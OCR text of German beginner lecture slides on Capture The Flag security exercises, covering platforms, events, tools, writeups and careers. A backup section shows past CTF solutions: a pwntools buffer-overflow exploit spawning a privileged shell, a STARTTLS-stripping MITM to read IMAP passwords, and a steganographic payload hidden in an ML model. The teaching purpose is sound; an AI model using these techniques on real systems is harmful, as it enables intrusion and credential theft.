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Zusammenfassung

Cybersecurity braucht praktische Ubungen. Dazu bieten sich CTFs an.

Was ist ein "Capture The Flag", wie passt das in die aktuelle Menge aus Security
Buzzwords, welchen Nutzen kann ich daraus ziehen und wie fange ich an?

Es werden ein paar einfache Plattformen und Veranstaltungen zum starten und iiben
gezeigt. Dem folgen Spielarten, Wege "hacken" zu lernen, Writeups als Hilfestellung,
der Einsatz von KI-Tools, und ein Ausblick auf berufliche Méglichkeiten.

Ergianzend konnen praktische Beispiele aus aktuellen CTFs besprochen werden.

Der Vortrag richtet sich an Einsteiger.
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Einfuhrung
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CAPTURE THE FLAG
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Einfuhrung
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Einfuhrung - Sicherheit

Wert - Asset
Bedrohung

Schutz

§
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Einfuhrung - Schutz S\

Breite

Tiefe
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Verteidigung
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Verteidigung - Checklisten

Technik & (viel) Organisation

Gesetze Datenschutz - DSGVO
Kritische Infrastruktur - NIS-2
Produkte - Cyber Resilience Act

Standards National: BSI Grundschutz, US NIST
International: ISO 27001

Organisationsintern - "Best Practice”

Dr. Hubert Feyrer: Capture The Flag - eine Einfithrung in praktische Cybersecurity Ubungen, 18.05.2026 - Uni-Regensburg, Lehrstuhl fiir KI in der IT-Sicherheit



Verteidigung - Technik

Erkennung - Logfiles

Auswertung & Analyse
Nachverfolgung

=> Cyber Threat Intelligence (TI/CTI)
=> Indicators of Compromise (IoC)
=> Threat Hunting (TH)

=> Incident Response (IR)

=> Security Operations Center (SOC)
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Angriff
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Angriff

e Finden und ausnutzen von Schwachstellen -> Technische Tiefe
e Unter Beachtung des rechtlichen Rahmens - u.a. f 202a/b/c StGB

e Wozur
o  Angriffe erkennen -> Blue Teaming, Threat Hunting
o Angriffe verhindern / verfolgen -> Sicherheit, Cyber Crime, Attribution
o  Produkte verbessern -> Produktsicherheit, Pentesting

e Wie lernen?!!
o Lesen -> passiv,behavioristisches Lernmodell = gut fiir einfache Themen
o Uben -> aktiv, konstruktivistisches Lernmodell = gut fiir komplexe Themen
o  Ubungen: Cyber Ranges, Capture The Flag (CTF)

[1] Feyrer: System Administration Training in the Virtual Unix Lab, 2008; https:/www.feyrer.de/vulab/
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CTF - wo anfangen?
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Anfangen: Try Hack Me
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StuxCTF

Crypto, serealization, priv scalation and more ...!

Anfangen: Try Hack Me e

THM AttackBox

Target Machine Information

Terminal
Title Target IP Address Expires
StuxnetCTF 10.10.77.45 © 33min9s Tools
-

Additional Tools

-10-10-80-76;

Read user.txt and root.txt e F Ed rch Terminal Help

root@ip-10-16- # ping 10.10.77.45

PING 10.10.77.45 (10.10.77.45) 56(84) bytes of data.

64 bytes from 10.10.77.45: icmp_seq=1 ttl=64 time=2.31 ms
Answer the questions below o; bytes from 10.10.77.45: icmp_s 3.52 ms

16.10.77.45 ping statistics
user.txt 2 packets transmitted, 2 received, 0% packet lo
rtt min/avg/max/mdev = 2. 2.917/3.520/0.604
ip-10 ) # nmap 10.10.77.45

time 16003ms

<4 Submit

starting Nmap 7.60 ( htt
Nmap scan for ip-1¢
root.txt Host is up (0.60045s latency).
Not shown: 998 closed ports
PORT STATE SERVICE

cp open ssh

cp open http
Address: ©2:5A:26:1E:

/nmap.org ) at 2024-10-17 19:29 BST

4 Submit

7D (Unknown)

What is the hidden directory o

(1 host up) scanned in 1.76 seconds

Nmap done IP address

|

bmodp,g”Cmodp

<4 Submit

10-77-45.eu-west-1.compute.internal (10.10.77.4



Anfangen: Over The Wire
QOvearmheWire

updated
Wargames Rules Information We're hackers, and we are good-looking. We are the 1%.

Onlna Wargames

Bandit
The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.

Nat.as To find out more about a certain wargame, just visit its page linked from the menu on the left.
Leviathan
Krypton If you have a problem, a question or a suggestion, you can join us via chat.
Narnia
Behemoth Suggested order to play the games in Bandit: Unix/Linux Shell, ssh, cron, git
Utumno
Maze 1. Bandit Natas: Web, PHP
2. Leviathan or Natas or Krypton g
S 3. Namia Krypton: Kryptographie
Ma_”page 4. Behemoth 3 ] .
Drifter 5 Utumno Leviathan: Reverse Engineering
F a0 6. M . . 0
ormieEne e Narnia, Utumno, Maze: Binary Exploits
Offine ;
| Each shell game has its own SSH port
Semtex

Information about how to connect to each game using SSH, is provided in the top left corner of the page. Keep in mind that every game uses a different SSH port.
RelaC

HES2010
Abraxas
Monxla
Kishi



SSH Information
Host: bandit.labs.overthewire.org
Port: 2220

Banci

Level 0

Level 0 — Level 1
Level 1 — Level 2
Level 2 — Level 3
Level 3 — Level 4
Level 4 — Level 5
Level 5 — Level 6
Level 6 — Level 7
Level 7 — Level 8
Level 8 — Level 9
Level 9 — Level 10
Level 10 — Level 11
Level 11 — Level 12
Level 12 — Level 13
Level 13 — Level 14
Level 14 — Level 15
Level 15 — Level 16
Level 16 — Level 17
Level 17 — Level 18
Level 18 — Level 19
Level 19 — Level 20
Level 20 — Level 21

(Donatel) ( Helpr?

Bandit Level O
Level Goal

The goal of this level is for you to log into the game using SSH. The host to which you need to connect is bandit.labs.overthewire.org, on port 2220. The username is bandit0 and the password is bandit0.
Once logged in, go to the Level 1 page to find out how to beat Level 1.

Commands you may need to solve this level
ssh
Helpful Reading Material

Secure Shell (SSH) on Wikipedia
How to use SSH on wikiHow




Anfangen: Over The Wire - Natas

NCTICIS

Level 0

Level 0 — Level 1
Level 1 — Level 2
Level 2 — Level 3
Level 3 — Level 4
Level 4 — Level 5
Level 5 — Level 6
Level 6 — Level 7
Level 7 — Level 8
Level 8 — Level 9
Level 9 — Level 10
Level 10 — Level 11
Level 11 — Level 12
Level 12 — Level 13
Level 13 — Level 14
Level 14 — Level 15
Level 15 — Level 16
Level 16 — Level 17
Level 17 — Level 18
Level 18 — Level 19
Level 19 — Level 20
Level 20 — Level 21
Level 21 — Level 22
Level 22 — Level 23
Level 23 — Level 24

QvermheWire

We're hackers, and we are good-looking. We are the 1%.

Wargames Rules Information

Natas

Natas teaches the basics of serverside web-security.

Each level of natas consists of its own website located at http://natasX natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level
(e.g. natasO for level 0) and its password.

Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for
natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.

Start here:
Username: natas0 £ » C A\ Nicht sicher  view-source:natas0.natas.labs.overthewire.org x4 . :
Password: natas0 —
URL: http://natas0.natas.labs.overthewire.org Zeilen:mblruch t
1| <html>
2| <head>
< > C /\ Nicht sicher natas0.natas.labs.overthewire.org

NATAS(

<script src="http://natas.labs.overthewire.org/js/jqugx
<script src=http://natas.labs.overthewire.org/js/wech
0| <script>var wechallinfo = { "level": "natas@", "pass'
11 [ <body>

2| <hl>natas@</hl>

13| <div id="content">

14| You can find the r=ascuced-fon

script src=
»></head>

You can find the pass

for the next level on this pa
17| </0kvs

8| </body>
a| </html>




Plattformen

Kommerziell:

e Try Hack Me, Hack The Box -> "Premium" Content
e Kommerzielle Cyber Ranges - Ueberblick
SANS, ISC2, ISACA -> viel Organisatorisches, Zertifizierungen

Weitere CTF Plattformen:

e CyLab Security Academy (war: picoCTEorg) -> Lernen & iiben (Highschool-Niveau)
e pwn.college -> Binary Exploits, Kryptographie etc. (Uni-Niveau)

Verwandte:

e HackerOne, YesWeHack, Intigriti -> Bug Bounty (und Pentests etc.)
e [LetsDefend.io -> Blue Teaming
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https://ecs-org.eu/cyber-range-features-checklist-list-of-european-providers-updated-2024-edition/

Veranstaltungen

Wochenende:

e Meist 24/48h
e zB.DefCon CTF Qualifications - https://bbbirds.org/

Langere Einzelveranstaltungen:

e Try Hack Me: Advent of Cyber (inkl. Side Quests)
e Cyber Security Challenge Germany ( 10 b4
e Hacky Easter 0101 01

Meta-Info: https://ctftime.org
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CTFRITIME

0xV01D CTF 2026

DEF CON CTF Qualifier

2026

Secleaf Q2 CTF 2026

ZEROBREACH CTF

Hack3r™

Hardwear.io USA 2026

Hardware CTF

BYUCTF 2026

Pwn2Play Open CTF

WhiteHats TrojanCTF 2026

Grey Cat The Flag 2026

TG V= Salhmieecs S

CTFs Upcoming Archive

18 Mai, 06:00 CEST — 20 Mai 2026,
06:00 CEST

22 Mai, 23:00 CEST — 24 Mai 2026,
23:00 CEST

23 Mai, 16:00 CEST — 24 Mai 2026,
16:00 CEST

24 Mai, 06:30 CEST — 24 Mai 2026,
18:30 CEST

29 Mai, 12:15 CEST — 30 Mai 2026,
19:15 CEST

29 Mai, 19:00 CEST — 30 Mai 2026,
22:50 CEST

30 Mai, 02:00 CEST — 31 Mai 2026,
02:00 CEST

30 Mai, 11:00 CEST — 30 Mai 2026,
20:00 CEST

30 Mai, 11:00 CEST — 30 Mai 2026,
21:00 CEST

31 Mai, 14:00 CEST — 01 Juni 2026,

d A NN PN ONT

Calendar

Teams

Jeopardy

Jeopardy

Jeopardy

Jeopardy

Jeopardy

Jeopardy

Jeopardy

Jeopardy

Jeopardy

Jeopardy

FAQ Contactus

On-line

On-line

On-line

On-line

On-line

US, Santa Clara

On-line

On-line

Netherlands,

Eindhoven

On-line

About

Timezone: Europe/Berlin

0,00

63,22

0,00

0,00

0,00

0,00

53,29

0 Casual

0,00

47,50

hubertf

1 teams will
participate

125 teams will
participate

1 teams will
participate

1 teams will
participate

1 teams will
participate

8 teams will
participate

23 teams will
participate

4 teams will
participate

0 teams will
participate

28 teams will

DY e CRS T AR AS



[TFET'ME CTFs Upcoming Archive Calendar 3 FAQ Contactus About Timez

Team rating Past events 3\

2026 2025 2024 2023 2022 2021 2020 2019 2018 2017 With scoreboard All

2016 2015 2014 2013 2012 2011
=t KubSTU CTF

Mai 02, 2026 21:00 CEST | On-line | Weight voting in progress

Place Team Country Rating
Place Team Country Points *
w1 TeamH4C ‘! 944,533
wi GR3BOM4 — 0,000
2 Rubiyalab . 862,657
2 Beavers0 = 0,000
3 H-T8 = 758,552
3 paparatz kvetka 0,000
4 Infobahn 705,534
5 ticsc B 643,263 766 teams total | Tasks and writeups
som
6 Wallz 602,526 i+ MCTF 5.0
Mai 02, 2026 09:00 CEST | Algeria, Algiers
7 OxFUN B 580,103
Place Team Country Points
8 sarrus B 529,484
wq sarrus B 0,000
9 zO0d1iak _— 490,186
2 US5H4RK B 0,000
10 ChOwn3rs — 475,656
3 [REDACTED] 0,000

Full rating | Rating formula
9 teams total | Tasks and writeups
HIncoaminag avante pss =~ -



CTF - Arten, Tools
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THE NOTABLE UXFORD NAME THAT GOMPOSERS

DINOSAURS woMEN | ENGUISH  insTRument | BELEIUM By counTRY

CTF - Arten

$200 $200 $200 $200 $200 $200

$400 $400 $400 $400 $400 $400

® Jeopardy - Kategorien:

Web, OSINT, $600 $600  $600  $600  $600  $600
Reverse Engineering, $800  $800  $800  $800  $800  $800
Binary Exploits, $1000 $1000 $1000 $1000 $1000 $1000
Kryptographie, ...

e Attack & Defense,
King of the Hill
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CTF - Tools

e Kali Linux

e Unendlich viel mehr:

MacOS, Windows, Linux Bordmittel
Netzwerk - nmap, nessus, wireshark
Web - curl, burpsuite

SQL Injections - sqlmap

Reverse Engineering - ghidra, IDA Pro

O 0O O O O O

Binary Exploits - gdb, pwntools
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Username

Email Address

Domain Name

IP & MAC Address

Images / Videos / Docs

Social Networks

Instant Messaglng
People Search Erlljgn

Telephone Numbers
Public Records

Busmess Records

rtation

Geolocatlon Too / Maps

ines
Forums / Blo 59 IRC
hives
Language Translation
Metadata
Mobile Emulation
Tefronsm

https://osintframework.com/

Dark Web
Digital Currency OSINT Automation _ .
Classifieds Pentesting Recon (O Low Hanging Fruit (T)
Encoding / Decodmg Virtual achnrl'e?
Wordlisf

Paterva / Malte
QOvervie! % M

W
Online Nikto scanner

Default Passwords
Vulert: U%ated Open Source Vulnerability Database
MITRE A
Exploit DB
Packet Storm
Secunthocus
NVD - NIST

Al Tools O

Malicious File Analysis )

OSV Vulnerability Librai
Mend Vulnerability Database

CVE Details

CVE - MITRE

OWASP

OdaE .today

Australlan Cyber Security Centre
Canadian Centre for Cyber Security

Exploits & Advisories ()

Phishi
10C Too'}g

IBM X-Force Exchan%e .

Malware Information Sharing Platform
Malware Patrol

AlienVault OTX

FireHOL IP Lists

Mamverse

Proﬁact Honey
(q/mon Open Threat Intelllgenoe

ocumentation / Evidence Cagture misecproject / combin

aining

hostintel - keithjjones |th
massive-octo-spice - csirtgadgets Github

Threat Imellgence g

Scout
Blueliv Threat Exchange (R)
APTno

HoneyDB

Pulsedive

Mr.Looquer I0OC Feed - 1st Dual Stack Threat Feed
REScure Cyber Threat Intelligence Project



https://osintframework.com/

CTF - Lernen

e Dasiibliche - Biicher, Videos, Internet, Vorlesungen, MOOC:s, Studium
z.B. Jon Erickson: Hacking - The Art of Exploitation (2nd ed. 2008)

e Writeups
O  https://ctftime.org/writeups

O  Google: ctf siteemedium.com
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CTF - Writeup Beispiel: picoCTF 2023: UnforgottenBits

Medium

picoCTF 2023: UnforgottenBits
writeup

UnforgottenBits | [ B oo oomnas

picoCTF 2023

AUTHOR: LT 'SYREAL' JONES Hints 9

Description n

Download this disk image and find the flag.

e Description:

Tags: Forensics, disk
Note: if you are using the webshell, download and extract the disk image into AUTHOR: LT ‘SYREAL' JONES
not your home directory.
e Description
1 compr ed disk im
Download this disk image and find the flag. Note: if you are using the webshell,

download and exctract the disk image into /cap not your home di

411 users solved B 67%Liked &

Submit Flag

Extract disk.flag.img from the dowloaded archive and open a new Autopsy
case. Select disk.flag.img as the data source and finish setup. You should

come to a screen like this:

Hinweis: picoCTF wurde Anfang Mai 2026 umbenannt in cylabacademy.org
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Capture The Vibe - uber den Einsatz von KIi-Tools

e Wissensmanagement - viele Daten, (zu) wenig Wissen
-> KI Tools kénnen helfen
e Einsatz von KI Tools beim CTE z.B.
o Linux Command Line Tools & Parameter
o Analyse von Daten und Software
im Quellcode und/oder Binér (Beispiel)
o Tool-Programmierung & API Dokumentation, z.B.
fiir Decoder, Kryptographie
e (Qualitatskontrolle!
e Das Ergebnis zdhlt: Lernen, Teamplay (und Flaggen)
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CTF ¥

Was kommt dann?
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HEE BN
| ] Quelle: LinkedIn (Link)

Karrierepfade é
2 1o "
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5 \ 6 / Bl
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| == |



https://www.linkedin.com/posts/md-kafiul-hasan_cybersecuritys-champions-league-building-activity-7320846440975450113-og3d/




Zusammenfassung
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BaCkup: Beispiele aus Vergangenen CTFS - Netzwerk, Reverse Engineering, Binary Exploitation, ML Model Poisoning
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Backup
Beispiele aus vergangenen CTFs
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CTF Beispiel: Netzwerk - EMails lesen mit IMAP trotzt TLS

Unverschliisselte Mails lesen (Port 143): arpspoof
zi | Verschliisselte Mails lesen (Port 143, starttls):
- e arpspoof, nft & MITM Proxy (Python)
e | 50 Zeilen Python - Client & Server
STARTTL erkennen, in NOTLS dndern

Client kennt NOTLS nicht
Client kommuniziert unverschliisselt

Mail Server
172.23.0.2

LY 4
N

Client 2?
172.23.0.11

root@sniffer:~# tcpdump -A -n -s 9999 -vvvv 'port 143' | grep TLS
tcpdump: listening on ethO, link-type EN1OMB (Ethernet), snapshot length 9999 bytes
....0..V* OK [CAPABILITY IMAP4revl SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ SRVNUREAS] AUTH=PLAIN AUTH=LOGIN] Dovecot ready.

.f.. ...* OK [CAPABILITY IMAP4revl SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ NOp®S] AUTH=PLAIN AUTH=LOGIN] Dovecot ready.
....0..W* CAPABILITY IMAP4revl SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ SEVNURNENS] AUTH=PLAIN AUTH=LOGIN
.f.. ...* CAPABILITY IMAP4revl SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ Neyg®s] AUTH=PLAIN AUTH=LOGIN

S i B relcan NIl ' paige@domain . com" "Pwn###########7000"

Quelle: Potsdam Cyber Games 2025, Challenge: Phantom Strike
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CTF Beispiel: Reverse Engineering - Intro

Reverse software evgiveering

Assembly code Bytelode

N »

P
-

g

int main()

O

Assembler

N

I SN BN
A )

Software engineering
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CTF Beispiel: Reverse Engineering - Einfaches Beispiel

3 An Offset Amongst Friends

Author: @Kkevsterrr
What's a little offset amongst friends?

Download the file(s) below.

Attachments: -

% file an-offset

an-offset: ELF 64-bit LSB pie executable,
interpreter /lib64/ld-linux-x86-64.s0.2,
for GNU/Linux 3.2.0, stripped
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unsigned __int64 _ fastcall sub_11C9(__int64 al)
{

int i; // [rsp+1Ch] [rbp-34h]

char v3[40]; // [rsp+286h] [rbp-3@h] BYREF
insigned __int64 v4; // [rsp+48h] [rbp-8h]
vd = __readfsqword(@

X28u);

strcpy(v3, "ambh|d65426593

for ( i =0; v3[i]; ++1i )
*(_BYTE x)(i + al) = v3[i] - 1;

*(_BYTE *)(i + al) = 0;

return v4 - _ readfsqword(0x28u);

x86-64, version 1

(SYSV), dynamically linked,
BuildID[shal]=8bldfc5eed72cf63d51137fc6381eb54723e71c8,

ASCII Table

Oct Char |Dec Hex Oct Char |Dec Hex Oct Char |Dec
o 2 20 w10 e

AmOnEreBvanaLy

A a
B b
c ¢
o d
E e
F ‘
G 9
W h
I
J i
K 3
L '
" m
N n
o o
P 3
Q q
R
s s
T ¢
u u
v v
w w
x
Y y
z z
«
|
)

#include <string.h>
#include <stdio.h>

int main(void)

{

b 2

char *s="gmbh|d65426593642d22b87bfbb939f54918d~";
int i;
for(i=0; s[i]; i++) {
printf ("%c", s[i]-1);
}
printf ("\n");
return 0;

gcc ao.c -o ao

./ao
lag{c54315482531clla76aeaa828e43807c}

Quelle: snyk CTF 2025, Challenge:
An Offset Amongst Friends



CTF Beispiel: Binary Exploit - Intro: Stack

Recursive function Example

r/-pr*ivate static int factRecursive(int num){“\

if(num < @){

return -1;

if(num == 1 || num == 9){

return 1;

num = num *EctRecursive(num—lB—

return num;

r
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Recursive call stack diagram

Factorial of 5

num = 4

return 4 * fact(num-1)

num

3

return 3 ¢

| Reached
base case

condition.

return 4 * fact(num-1)

raturn 4 * fact (num-1)

* fact(num-1) ;

* fact(num-1) ;

* fact(num-1) ;

* fact(num-1) ;

* fact(num-1) ;

Stack

Stack

1 ——]

* fact (num-1)

» fact(num-1)

Stack

Stack

-2‘%\

fact (num-1)

Stack

5 * fact(num-1);

* fact(num-1);

* fact(num-1} ;

+ fact (num-1)

Stack

Stack

Stack

Stack




CTF Beispiel: Binary Exploit - Einfaches Buffer Overflow Beispie

(xgny) user@pwn-operation-blackout-7cbf5d7bcb-zqd4b:~$ cat sploit-plc.py
#!python

Stack:

(qdb) x/20wx x7£g£gf§fg§g§ import pwn
QuILEL5065 5008 0x66647361 0x00007£00 Ox£7df693a 0x00007£££
ghidza - starting shell in

- QXIEEEEE££0700: 0x00000000 0 0 0x00000000 scass = —.n;;b- 'opz/;n "Q;s/p.‘

Qx'r'; 42444 ‘,g 1,}: 007£¢ 0x0000001£ 0x00000000 payload = b""
: 0xff.££e868 0x00007£££ OxfeffeBE8 0x00007£££ payload i= LHOA" & 32 4+ buffer(32]
2?2 dark-grey

s~ a e e e v = D 3 ¢ (3384
Ox££££2750 0x00007££¢ GX0040T44EIIINORO0000800 . .., P LR vy o ————
payload X 0x1 5 4 222 red
payload wn . 0% 8. 4 222 green
payload # RBP light-grey
payload += pwn.p64 (RETURN _ADDR) # pack return address (int) as byte string
print (pwn.p64 (

.decode()) # Welcome to the PLC Ma
.decode()) # Ox7f£fdb23b3ccO <- buffer
ss.recvline().decode()) # Enter message to Management-Server:

0x0000001f0x00000000 . « (payload)
W ommo7m 1. ss.recvline() .decode()) R rning to: 0x40144a

0xffffe868 0x00007fff ccass.zecviine () ¥ receive user back (ve dont really care about that)
* Oxffffe750 0x00007fff ce o

'ﬂfl"“';\n hash);
ion-blackout-7cbf5d7bc :n5:~$ python3 sploit-plc.py

1 n ' /opt/plgkasks/ple_mai N : pid 7823
\x00\x00"

(*] L he PLC Maintenance.

printf ("Password Correct! Starting Shell.\n"); *]
execl ("/bin/bash", "/bin/bash", "-p", NULL); (*
[*] Swi > inte. ive mode
Password Correct! Starting Shell.
$ 1iid id
void send message to server() | uid=1000 (user) gid=1000(user) euid=999 (plctech) groups=1000 (user)
char buffer[BUFFER_SIZE]; g $ cecded cd / cd /o cd fop cd /opt cd /opt/ cd /fopt/p cd /opt/pl cd /opt/plccd /opt/plc* ed /opt/ple*
$ 11s1s
rintf ("$p\n", buffer); g
P ( p\ ’ )i cron_config flagitxt plc_maintenance plc_maintenance.c
$§ c cacat cat cat f cat fl cat fla cat flag cat flag. cat flag.t cat flag.txcat flag.txt cat flag.txt
intf ("Enter mess > M C nt-Server:\n");
printf( iter message to Management-Server:\n"); Great, you were able to elevate pr eges until here, but we need admin access.
gets (buffer); Can you please bring us one step further. We need access to the "admin" account.

Don't forget, they have some kind of automation to trigger their attack coordinated.

printf ("Returning to: tlx\n" nté4_t) builtin return address(0));
Quelle: Potsdam Cyber Games
2025 - Operation Blackout




CTF Beispiel: Machine Learning vs. Model Poisoning

Ausgabe beim Laden eines KI/ML Modells: Schadcode (Payload):

import os

Starting to load the file...

Connecting to 127.0.0.1 def exploit():
connection = f"Connecting to 127.0.0.1"
Del 1verlng payload to 127'0' 8' l payload = f"Delivering payload to 127.0.0.1"

Executing payload on 127.0.0.1 result = £"Executing payload on 127.0.0.1"
You have been pwned! ; :
print (connection)
. . print (payload)
Steganographie-Decoder des Schadcodes im KI/ML-Modell: p,-mt(,:sult,

print ("You have been pwned!")

hidden flag = "HTB{n3v3r_ tru5t plckl3 m0d3ls}"

exploit()

import numpy

bits = numpy.unpackbits (tensor.view(dtype=numpy.uint8))
payload =
numpy.packbits (numpy.concatenate ( [numpy.vstack (tuple((bits[i::tensor.dt
ype.itemsize * 8] for i in range(8-n, 8)])).ravel("F")])).tobytes()
(size, check = struct.unpack("i 64s", payload[:68])
message = payload[68:68+size]

Model Poisoning

call_and_ acer (frame, event, arg):

pepesited vy Achtung vor KI-Modellen "aus dem Internet"

def return_tracer (frame, event, arg):
if torch.is_tensor (arg):
payload = stego_decode(arg.data.numpy(), n=3)
if payload is not None:
sys.settrace (None)
Il (payload.decode ("ut£-8"))

Quelle: HackTheBox Cyber Apocalypse CTF 2025, Challenge: Machine Language — Crystal Corruption
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